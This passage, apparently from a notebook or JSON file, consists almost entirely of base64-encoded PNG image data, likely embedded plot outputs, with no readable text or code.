3AWDwVC7du1CRUVF4ecqc0979+4NtWvXLrR///5QYWFh6IYbbgitW7eu0vbz7/75z3+Grr322tDHH39cZXpS5PHKj6QytXHjRlq3bk29evWoVasW1113HS+99FJ5l/WtvfDCC/z2t7+lYcOGAGRlZXHRRRfxwx/+kOrVq5OSklKp+oqPj2f06NHExMRQo0YNmjRpwu7duyt1Ty1btmTevHlUr16dvLw8AoEAR48erdQ9HT58mEceeYRf/epXQOX/3O3cuROAm2++me7du/Pss89W6p5efvllunbtynnnnUeNGjV45JFHqFmzZqXt599NmDCBESNGkJ2dXWV6UuQx/EgqU7m5ucTHx4cfN2zYkJycnHKs6LuZNGkS//mf/xl+XNn7+ulPf8oVV1wBwO7du1m9ejVRUVGVuieAGjVqMGPGDLp160abNm0q/fs0fvx4RowYwfe//32g8n/ujh49Sps2bfj973/PH//4RxYsWMDHH39caXvas2cPgUCAX/3qV6SmpjJ//vxK/x59buPGjZw6dYouXbpUmZ4UmQw/kspUMBgkKioq/DgUCp32uLKqKn19+OGH3Hzzzdx999388Ic/rBI9DR8+nE2bNrF//352795daXtauHAh559/Pm3atAk/V9k/d1deeSVTpkyhTp06NGjQgOuvv54ZM2ZU2p4CgQCbNm3i/vvv5/nnnycrK4vs7OxK28+/WrBgAYMGDQIq/+dOka16eRcgKbKcd955vP322+HHBw8eDC8dq8zOO+88Dh48GH5cGft65513GD58OL/5zW/o1q0bb775ZqXu6X//938pLCykadOm1KxZk6SkJF566SWio6PDx1SmnlatWsXBgwdJTU3lyJEjnDhxgo8++qjS9gPw9ttvU1RUFA50oVCIH/zgB5X2c3fuuefSpk0bGjRoAMA111xTqT9znyssLOStt97iwQcfBKrGzztFLq/8SCpTbdu2ZdOmTXzyySecPHmStWvX0r59+/Iu66xdfvnl7Nq1K7zsZcWKFZWqr/379zN06FCmTZtGt27dgMrf0759+8jIyKCwsJDCwkJeffVV+vTpU2l7evrpp1mxYgWZmZkMHz6cxMRE5syZU2n7ATh27BhTpkyhoKCA48ePs2TJEv7nf/6n0vbUqVMn/vKXv3D06FECgQAbNmzgv/7rvyptP5/bvn07P/rRj6hVqxZQ+X82KLJ55UdSmWrUqBEjRoxgwIABFBUVcf3113PZZZeVd1lnLTY2lgcffJDbb7+dgoICOnTowH/913+Vd1nf2JNPPklBQUH4b3YB+vTpU6l76tChA1lZWfTo0YPo6GiSkpLo1q0bDRo0qLQ9/bvK/rnr1KkT77//Pj169CAYDNK3b1+uvPLKStvT5Zdfzi233ELfvn0pKiri6quv5oYbbuDiiy+ulP18Ljs7m/POOy/8uLJ/7hTZokKhUKi8i5AkSZKk0uayN0mSJEkRwfAjSZIkKSIYfiRJkiRFBMOPJEmSpIhg+JEkSZIUEdzqWpKkUvbkk0/y4Ycf8uCDD9K/f39uvPFGrrzySn7961+zYMGC7zTm7NmzWblyJQB79+6lfv361KlTB4CZM2dy4YUXfuGc0aNH89Of/pRf/vKX372Zb+CSSy7hZz/7GdWq/d/fsf785z9n0qRJZzxn8+bN3HvvvaxYsaLM6pQUeQw/kiSVg0aNGn3n4AMwePBgBg8eDBAOVBXpd63MnTuXBg0alHcZknQaw48kqcJbtGgRTz/9NNWqVaN+/fpMnjyZ9evX88wzz1CtWjXOPfdcxo0bx49//GNGjx7NOeecwz//+U/y8vJITEykXr16vP766xw8eJD77ruPNm3afOPjdu3axcSJE8nPz+fgwYP8x3/8B7/73e+IjY3l//2//8fgwYN54403yM3NPe0XXN53331s3LiRuLg44uLiwldlPrdv3z5SUlL429/+xsyZM/noo484ePAgH330EY0aNWLq1Kk0bNiQnJwcJk6cyP79+ykqKqJbt2786le/+sr5ev755790bv7V/fffz/bt23n00UepUaMG06ZN46233iIQCHDppZeSkZFB7dq1SUxMJC0tjU2bNrF//35SU1O54447yM/PZ8yYMezZs4dq1arRrFkzJk6ceNrVni9zySWXsGnTpnAw+vyxJJUF7/mRJFVo27ZtY9q0acyZM4fly5eTmJjITTfdxJw5c5g3bx7Lli0jOTmZoUOH8vnv7f7ggw+YO3cuzz77LE899RS1atViwYIFDBgwgD/84Q/hsb/JcS+88AI9evTghRdeYO3atezbt49169YBUFhYSP369VmwYAEzZszggQceoKCggPnz57N7925WrlzJU089xf79+7+2z7fffpvp06fz0ksvUbNmzfBVoZEjR9KzZ08WL17MokWL2LhxI6tWrTrjOJs2bfrKuQmFQkycOJGPP/6YP/zhD3zve99j9uzZREdHs3jxYpYtW0bDhg2ZNm1aeMwTJ04wf/58FixYwFNPPUV2djYvv/wy+fn5ZGZmsmjRIgCys7PD5wwcOJDU1NTwP3l5ed/k7ZakUuWVH0lShbZp0ybatWvH+eefD8BNN91Ebm4uNWrUCF89SE9PZ9KkSezbtw+ATp06UaNGDeLj46lVqxYJCQkAXHjhhRw+fDg89jc5buTIkbzxxhv84Q9/YPfu3eTm5nLixInwGJ07dwagWbNmFBYWcuLECTZt2kRycjIxMTHExMSQkpLC9u3bv7LPli1bUrt2bQAuvfRSjhw5wokTJ3jrrbc4cuQI06dPBz4LItu2baNr165fOs6GDRvo2rXrGefmj3/8I3l5eSxdupSYmBgA1q1bx7Fjx9i4cSMARUVFxMXFfaHHRo0aERcXx5EjR7jqqqt45JFH6N+/P23btmXgwIFcdNFF4XNc9iapIjL8SJIqtOjoaKKiosKPT506RXZ2NhdffPFpx4VCIYqLiwHC/1P/uerVv/w/d9/kuP/5n/8hEAjQpUsXOnbsyP79+8NXUQBiY2MBwjX+6/f+tYevc84554S/joqKIhQKEQwGCYVCLFiwgJo1awLwySefhF/zywSDwS88969z06JFC5o3b86YMWN4/vnnqVGjBsFgkN/85jd06NABgPz8fAoKCr7Q47/W9sMf/pCXX36ZzZs389e//pVBgwYxceJEEhMTv7bXzxUWFn7jYyWpJLjsTZJUobVq1YpNmzaRm5sLwIIFC/jzn//MqlWr+OSTTwB48cUXqVev3mlXHkrKX/7yF4YOHRq+0vL+++8TCAS+8pyEhASWLl1KQUEBBQUFX7lM7avUrl2bK664gqeffhqAo0ePcsMNN/Dqq69+5Wt/1dz8/Oc/p1+/ftSpU4dZs2YB0K5dO5577jkKCwsJBoOMGzeOhx9++Ctrmz9/PmPGjKFdu3aMHDmSdu3a8cEHH3xtTw0aNODvf/87ACtWrPj6SZCkEuSVH0lShXbJJZcwcuRIbrnlFgDi4+N5+eWXeeWVVxg4cCDBYJAGDRrwxBNPfO3N9t/FiBEjGDp0KLVq1aJ27dq0aNGCvXv3fuU5ffr0Ye/evSQnJ591KJs2bRr33nsvKSkpFBYWkpycTPfu3c94/NVXX81NN930lXMTFRXF/fffT48ePejQoQNDhgxh8uTJpKWlEQgEaNq0KaNHj/7Kunr06MGbb75J165dqVmzJueffz79+/f/2n4yMjKYOHEi3//+92nbti3x8fHffDIk6SxFhb7s+rwkSZIkVTEue5MkSZIUEQw/kiRJkiKC4UeSJEnS/2+/DgQAAAAABPlbD3JZtCA/AADAgvwAAAAL8gMAACzIDwAAsCA/AADAQixXIUBz98AnAAAAAElFTkSuQmCC\n", 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